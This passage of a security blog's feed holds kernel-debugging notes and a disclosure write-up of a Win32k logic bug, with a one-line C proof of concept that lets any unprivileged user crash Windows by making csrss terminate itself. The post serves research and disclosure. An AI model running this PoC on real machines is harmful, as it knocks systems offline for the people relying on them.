&lt;&#x2F;span&gt;&lt;span&gt;    value            : 0x80000000007d5063
&lt;&#x2F;span&gt;&lt;span&gt;    Flags            : Flags=[P RW K - - A D - -]
&lt;&#x2F;span&gt;&lt;span&gt;    PageFrameNumber  : 0x7d5
&lt;&#x2F;span&gt;&lt;span&gt;    Pfn              [Type: _MMPFN]
&lt;&#x2F;span&gt;&lt;span&gt;    PhysicalPageAddress : 0x7d5000
&lt;&#x2F;span&gt;&lt;span&gt;    Pte              : 0xfffff67b3d9ecf60 [Type: _MMPTE *]
&lt;&#x2F;span&gt;&lt;span&gt;    Level            : PML4
&lt;&#x2F;span&gt;&lt;span&gt;    Children
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;links&quot;&gt;Links&lt;&#x2F;h1&gt;
&lt;p&gt;What started picking my curiosity:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;[1] &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;ricercasecurity.blogspot.com&#x2F;2020&#x2F;04&#x2F;ill-ask-your-body-smbghost-pre-auth-rce.html&quot;&gt;Ricerca Security on exploiting the same bug&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;[2] &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;chompie1337&#x2F;SMBGhost_RCE_PoC&#x2F;blob&#x2F;master&#x2F;exploit.py&quot;&gt;Chompie1337’s CVE-2020-0796 exploit&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The whole series of “ Getting Physical: Extreme abuse of Intel based Paging Systems“ by N. Economou &amp;amp; E. Nissim (CoreSecurity) is a must read&#x2F;watch:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;CoreSecurity Getting Physical: &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=QGf0-jHFulg&amp;amp;vl=en&quot;&gt;The talk (es)&lt;&#x2F;a&gt; &#x2F;&#x2F; &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;docplayer.net&#x2F;44469150-Windows-smep-bypass-u-s-nicolas-a-economou-enrique-e-nissim-p-a-g-e.html&quot;&gt;The slides&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.coresecurity.com&#x2F;core-labs&#x2F;articles&#x2F;getting-physical-extreme-abuse-of-intel-based-paging-systems-part-2-windows&quot;&gt;Part 2 - Windows&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.coresecurity.com&#x2F;core-labs&#x2F;articles&#x2F;getting-physical-extreme-abuse-of-intel-based-paging-systems&quot;&gt;Part 3 - Windows HAL’s Heap&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Other useful resources:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;[3] &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.amazon.com&#x2F;What-Makes-Page-Windows-Virtual&#x2F;dp&#x2F;1479114294&quot;&gt;“What Makes It Page? The Windows 7 x64 Virtual Memory Manager” - M. Martignetti&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=7zTtVYjjquA&quot;&gt;“Gynvael’s Hacking Livestream #30: Windows Kernel Debugging Part III” - A. “honorary_bot” Shishkin&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;labs.f-secure.com&#x2F;archive&#x2F;windows-8-kernel-memory-protections-bypass&#x2F;&quot;&gt;“Windows 8 Kernel Memory Protections Bypass” - J. Fetiveau&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Enumerating processes from KD</title>
        <published>2020-05-23T00:00:00+00:00</published>
        <updated>2020-05-23T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2020-05-23-enumerating-process-from-kd/"/>
        <id>https://blahcat.github.io/2020-05-23-enumerating-process-from-kd/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2020-05-23-enumerating-process-from-kd/">&lt;p&gt;This is tiny Post-It post to remind of different ways to enumerate processes from KD:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;using &lt;code&gt;nt!PsActiveProcessHead&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;dx Debugger.Utility.Collections.FromListEntry( *(nt!_LIST_ENTRY*)&amp;amp;(nt!PsActiveProcessHead), &amp;quot;nt!_EPROCESS&amp;quot;, &amp;quot;ActiveProcessLinks&amp;quot;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;using &lt;code&gt;afd!AfdEndpointListHead&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;dx Debugger.Utility.Collections.FromListEntry( *(nt!_LIST_ENTRY*)&amp;amp;(afd!AfdEndpointListHead), &amp;quot;nt!_EPROCESS&amp;quot;, &amp;quot;ActiveProcessLinks&amp;quot;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;using &lt;code&gt;nt!KiProcessListHead&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;dx Debugger.Utility.Collections.FromListEntry( *(nt!_LIST_ENTRY*)&amp;amp;(nt!KiProcessListHead), &amp;quot;nt!_KPROCESS&amp;quot;, &amp;quot;ProcessListEntry&amp;quot;).Select( p =&amp;gt; new {Process = (nt!_EPROCESS*)&amp;amp;p )
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;using &lt;code&gt;nt!HandleTableListHead&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;dx Debugger.Utility.Collections.FromListEntry(*(nt!_LIST_ENTRY*)&amp;amp;nt!HandleTableListHead, &amp;quot;nt!_HANDLE_TABLE&amp;quot;, &amp;quot;HandleTableList&amp;quot;).Where(h =&amp;gt; h.QuotaProcess != 0).Select( qp =&amp;gt; new {Process= qp.QuotaProcess} )
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>An unexpected logic bug on Win32k</title>
        <published>2020-03-09T00:00:00+00:00</published>
        <updated>2020-03-09T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2020-03-09-unexpected-logic-bug-win32k/"/>
        <id>https://blahcat.github.io/2020-03-09-unexpected-logic-bug-win32k/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2020-03-09-unexpected-logic-bug-win32k/">&lt;h2 id=&quot;the-short-version&quot;&gt;The short version&lt;&#x2F;h2&gt;
&lt;p&gt;The short version is that there’s a small logic bug in  &lt;code&gt;user32!EndTask()&lt;&#x2F;code&gt; which doesn’t really check the &lt;code&gt;HWND&lt;&#x2F;code&gt; handle passed when forcefully killing the process, allowing unprivileged process to BSoD the host by killing the critical process &lt;code&gt;csrss&lt;&#x2F;code&gt;. And as a bonus the PoC code #FitsInATweet:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;WinMain&lt;&#x2F;span&gt;&lt;span&gt;(HINSTANCE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;h&lt;&#x2F;span&gt;&lt;span&gt;, HINSTANCE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ins&lt;&#x2F;span&gt;&lt;span&gt;, LPSTR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cmd&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;nb&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;EndTask&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;GetDesktopWindow&lt;&#x2F;span&gt;&lt;span&gt;(), &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Just compile, run (here on a build 19569.1000 x64) and enjoy:&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;DRxULeh.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;DRxULeh.png&quot;

    

    
    title=&quot;bsod&quot;
    alt=&quot;bsod&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;h2 id=&quot;the-less-short-version&quot;&gt;The less short version&lt;&#x2F;h2&gt;
&lt;p&gt;Reversing &lt;code&gt;Win32k.sys&lt;&#x2F;code&gt; driver has been my hobby lately mostly to understand it (finally) seriously - if there is such a thing. This is a really small funny logic bug I encountered while reversing it, which I don’t feel too bad disclosing since there is &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.microsoft.com&#x2F;en-us&#x2F;msrc&#x2F;windows-security-servicing-criteria&quot;&gt;no security exploitability&lt;&#x2F;a&gt; (simply annoying your sysadmin).&lt;&#x2F;p&gt;
&lt;h3 id=&quot;the-juicy-part&quot;&gt;The juicy part&lt;&#x2F;h3&gt;
&lt;p&gt;The legacy function &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;api&#x2F;winuser&#x2F;nf-winuser-endtask&quot;&gt;EndTask&lt;&#x2F;a&gt; can be used to forcefully close the specific window whose handle is passed as argument, and free all associated resources. Although deprecated according to the MSDN, it is still callable even on the latest Windows versions.&lt;&#x2F;p&gt;
&lt;p&gt;The function &lt;code&gt;user32!EndTask()&lt;&#x2F;code&gt; is merely a wrapper designed to forward some specific messages to the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Client&#x2F;Server_Runtime_Subsystem&quot;&gt;CSRSS&lt;&#x2F;a&gt; via an ALPC, using the exported function
&lt;code&gt;ntdll!CsrClientCallServer&lt;&#x2F;code&gt; with the ApiNumber 0x30401. Easily enough, the function takes the handle to the window to shut down. The function operates with the thread’s token, and is unprivileged. Starting playing around, I remembered that &lt;code&gt;GetDesktopWindow()&lt;&#x2F;code&gt; will return a valid handle to the desktop window, but has &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;devblogs.microsoft.com&#x2F;oldnewthing&#x2F;20040224-00&#x2F;?p=40493&quot;&gt;many interesting properties&lt;&#x2F;a&gt; including that that it is owned by &lt;code&gt;csrss.exe&lt;&#x2F;code&gt;. That can be quickly demonstrated using the following code:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span&gt;WINAPI &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;WinMain&lt;&#x2F;span&gt;&lt;span&gt;(HINSTANCE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;hInstance&lt;&#x2F;span&gt;&lt;span&gt;, HINSTANCE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;hPrevInstance&lt;&#x2F;span&gt;&lt;span&gt;, LPSTR &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;lpCmdLine&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;nCmdShow&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span&gt; msg[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;1024&lt;&#x2F;span&gt;&lt;span&gt;]={&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,};
&lt;&#x2F;span&gt;&lt;span&gt;    HWND hwnd = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;GetDesktopWindow&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;span&gt;    DWORD dwProcessId;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;GetWindowThreadProcessId&lt;&#x2F;span&gt;&lt;span&gt;(hwnd, &amp;amp;dwProcessId);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;sprintf&lt;&#x2F;span&gt;&lt;span&gt;(msg, &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;hwnd=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt; pid=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;%lu&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;, hwnd, dwProcessId);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;MessageBoxA&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,msg,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,MB_OK);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;which will output the PID of CSRSS&lt;&#x2F;p&gt;
&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;Q4XsJZP.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;https:&amp;#x2F;&amp;#x2F;i.imgur.com&amp;#x2F;Q4XsJZP.png&quot;

    

    
    title=&quot;finding_csrss&quot;
    alt=&quot;finding_csrss&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;In turn, CSRSS will consume that message and call &lt;code&gt;winsrvext!SrvEndTask()&lt;&#x2F;code&gt; then &lt;code&gt;winsrvext!EndTask()&lt;&#x2F;code&gt;. In this function, in order to determine the process to terminate &lt;code&gt;csrss&lt;&#x2F;code&gt; will invoke &lt;code&gt;GetWindowThreadProcessId()&lt;&#x2F;code&gt; and will use the found process id value to look into the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.geoffchappell.com&#x2F;studies&#x2F;windows&#x2F;win32&#x2F;csrsrv&#x2F;api&#x2F;process&#x2F;process.htm&quot;&gt;&lt;code&gt;CSR_PROCESS&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; linked
list (via &lt;code&gt;csrsrv!CsrRootProcess&lt;&#x2F;code&gt;), and find the &lt;code&gt;CSR_PROCESS&lt;&#x2F;code&gt; structure associated to such PID. From &lt;code&gt;winsrvext.dll&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;asm&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-asm &quot;&gt;&lt;code class=&quot;language-asm&quot; data-lang=&quot;asm&quot;&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;_EndTask&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;      ; NTSTATUS __fastcall EndTask(HWND hWnd, int a2)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;_EndTask      _EndTask        proc near&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;               ; CODE XREF: SrvEndTask+119↓p
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;_EndTask&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;                                              ; DATA XREF: .pdata:000000000001D21C↓o
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;_EndTask&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;A7                   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;lea     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rdx&lt;&#x2F;span&gt;&lt;span&gt;, [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rsp&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;120h&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;dwProcessId&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt; ; lpdwProcessId
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;_EndTask&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;AC                   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mov     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rcx&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rdi&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;        ; hWnd
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;_EndTask&lt;&#x2F;span&gt;&lt;span&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;AF                   &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;call    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cs&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;:__imp_GetWindowThreadProcessId
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;the-bug&quot;&gt;The bug&lt;&#x2F;h3&gt;
&lt;p&gt;And therein lied the bug: as shown above with the small C snippet, the owner of &lt;code&gt;GetDesktopWindow()&lt;&#x2F;code&gt; is &lt;code&gt;csrss&lt;&#x2F;code&gt; itself, therefore the lookup will return the &lt;code&gt;CSR_PROCESS&lt;&#x2F;code&gt; structure of &lt;code&gt;CSRSS&lt;&#x2F;code&gt; (which happens to be the first entry in the &lt;code&gt;CsrRootProcess&lt;&#x2F;code&gt; linked list). Finally, &lt;code&gt;winsrvext!EndTask()&lt;&#x2F;code&gt; will proceed to call &lt;code&gt;ntdll!NtTerminateProcess()&lt;&#x2F;code&gt; passing the handle to the
process &lt;code&gt;CSRSS&lt;&#x2F;code&gt;, which has the value &lt;code&gt;(HANDLE)-1&lt;&#x2F;code&gt; (i.e. &lt;code&gt;GetCurrentProcess()&lt;&#x2F;code&gt;). WinDbg can be used to confirm that behavior:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0: kd&amp;gt; dps poi( csrsrv!CsrRootProcess )
&lt;&#x2F;span&gt;&lt;span&gt;00000218`7d004550  00000000`00000c14 &amp;lt;- CSR_PROCESS.ClientId
&lt;&#x2F;span&gt;&lt;span&gt;00000218`7d004558  00000000`00000c18
&lt;&#x2F;span&gt;&lt;span&gt;00000218`7d004560  00000218`7d008bf0 &amp;lt;- CSR_PROCESS.LinkList
&lt;&#x2F;span&gt;&lt;span&gt;00000218`7d004568  00000218`7d04b3a0 &amp;lt;- CSR_PROCESS.ThreadList
&lt;&#x2F;span&gt;&lt;span&gt;00000218`7d004570  00000218`7d005368 [...]
&lt;&#x2F;span&gt;&lt;span&gt;00000218`7d004578  00000218`7d0486b8
&lt;&#x2F;span&gt;&lt;span&gt;00000218`7d004580  00000000`00000000
&lt;&#x2F;span&gt;&lt;span&gt;00000218`7d004588  00000000`00000000
&lt;&#x2F;span&gt;&lt;span&gt;00000218`7d004590  00000000`00000000
&lt;&#x2F;span&gt;&lt;span&gt;00000218`7d004598  00000000`00000000
&lt;&#x2F;span&gt;&lt;span&gt;00000218`7d0045a0  ffffffff`ffffffff &amp;lt;&amp;lt;- CSR_PROCESS.ProcessHandle (i.e. value passed to NtTerminateProcess)
&lt;&#x2F;span&gt;&lt;span&gt;00000218`7d0045a8  00000040`00000005
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Therefore, this will make &lt;code&gt;CSRSS&lt;&#x2F;code&gt; killing itself when invoking calling the syscall &lt;code&gt;nt!NtTerminateProcess(GetCurrentProcess(), 0 )&lt;&#x2F;code&gt;. As a critical process, killing CSRSS will immediately result in a BSoD, which BugCheck clearly shows. Also note that this crash can be triggered by any user even with any privilege. In WinDbg the faulting stack trace of our BSoD retraces exactly everything we show:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;CRITICAL_PROCESS_DIED (ef)
&lt;&#x2F;span&gt;&lt;span&gt;        A critical system process died
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;span&gt;Arguments:
&lt;&#x2F;span&gt;&lt;span&gt;Arg1: ffffe30f47ce14c0, Process object or thread object
&lt;&#x2F;span&gt;&lt;span&gt;Arg2: 0000000000000000, If this is 0, a process died. If this is 1, a thread died.
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;STACK_TEXT:
&lt;&#x2F;span&gt;&lt;span&gt;ffff8803`2a71f280 fffff801`795c75c1 : [...] : nt!PspCatchCriticalBreak+0xa9
&lt;&#x2F;span&gt;&lt;span&gt;ffff8803`2a71f320 fffff801`79439fc0 : [...] : nt!PspTerminateAllThreads+0x175e3d
&lt;&#x2F;span&gt;&lt;span&gt;ffff8803`2a71f390 fffff801`79439da9 : [...] : nt!PspTerminateProcess+0xe0
&lt;&#x2F;span&gt;&lt;span&gt;ffff8803`2a71f3d0 fffff801`78fd2d15 : [...] : nt!NtTerminateProcess+0xa9
&lt;&#x2F;span&gt;&lt;span&gt;ffff8803`2a71f440 00007ff9`83b5c644 : [...] : nt!KiSystemServiceCopyEnd+0x25
&lt;&#x2F;span&gt;&lt;span&gt;000000b6`d35befd8 00007ff9`809066e5 : [...] : ntdll!NtTerminateProcess+0x14
&lt;&#x2F;span&gt;&lt;span&gt;000000b6`d35befe0 00007ff9`80906bae : [...] : winsrvext!EndTask+0x235
&lt;&#x2F;span&gt;&lt;span&gt;000000b6`d35bf110 00007ff9`80975af4 : [...] : winsrvext!SrvEndTask+0x11e
&lt;&#x2F;span&gt;&lt;span&gt;000000b6`d35bf380 00007ff9`83b2cedf : [...] : CSRSRV!CsrApiRequestThread+0x484
&lt;&#x2F;span&gt;&lt;span&gt;000000b6`d35bf810 00000000`00000000 : [...] : ntdll!RtlUserThreadStart+0x2f
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;final-words&quot;&gt;Final words&lt;&#x2F;h2&gt;
&lt;p&gt;This was a good lesson, mostly because I would never have thought finding a (cheap) logic bug in an API that is around for decades and probably gleaned at many times by people way smarter.&lt;&#x2F;p&gt;
&lt;p&gt;Also, I’ve reported more Win32k bugs to MS which I’ll be writing up on soon.&lt;&#x2F;p&gt;
&lt;p&gt;That’s all for this quick post!&lt;&#x2F;p&gt;
&lt;p&gt;✌&lt;&#x2F;p&gt;
&lt;h2 id=&quot;disclosure-timeline&quot;&gt;Disclosure timeline&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;2019-12-09 : Bug found&lt;&#x2F;li&gt;
&lt;li&gt;2020-02-08 : Finally found some time to do some analysis&lt;&#x2F;li&gt;
&lt;li&gt;2020-02-09 : Issue submitted to MSRC (case 56511)&lt;&#x2F;li&gt;
&lt;li&gt;2020-03-04 : EWONTFIX&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Small dumps in the big pool</title>
        <published>2019-03-17T00:00:00+00:00</published>
        <updated>2019-03-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2019-03-17-small-dumps-in-the-big-pool/"/>
        <id>https://blahcat.github.io/2019-03-17-small-dumps-in-the-big-pool/</id>
        
